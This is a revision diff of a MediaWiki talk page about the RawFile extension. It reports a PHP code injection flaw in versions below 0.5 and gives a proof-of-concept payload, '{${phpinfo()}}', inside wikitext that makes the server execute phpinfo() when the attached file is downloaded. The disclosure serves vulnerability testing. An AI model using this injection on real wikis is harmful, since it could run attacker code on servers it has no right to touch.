Difference between revisions of "Talk:Mediawiki RawFile"
Jump to navigation
Jump to search
m |
|||
| Line 2: | Line 2: | ||
<br>Adding this code to a wikipage: |
<br>Adding this code to a wikipage: |
||
<pre> |
<pre> |
||
| − | <nowiki>{${phpinfo()}}</nowiki> |
+ | <nowiki><nowiki>{${phpinfo()}}</nowiki></nowiki> |
[{{#file: myscript.sh}} as myscript.sh] |
[{{#file: myscript.sh}} as myscript.sh] |
||
<source lang=bash> |
<source lang=bash> |
||
Latest revision as of 17:03, 13 February 2014
Testing PHP code injection on Rawfile < 0.5 :
Adding this code to a wikipage:
<nowiki>{${phpinfo()}}</nowiki>
[{{#file: myscript.sh}} as myscript.sh]
<source lang=bash>
#!/bin/bash
echo 'Hello world!'
exit 0
</source>
and trying to download myscript.sh will execute phpinfo() on the server.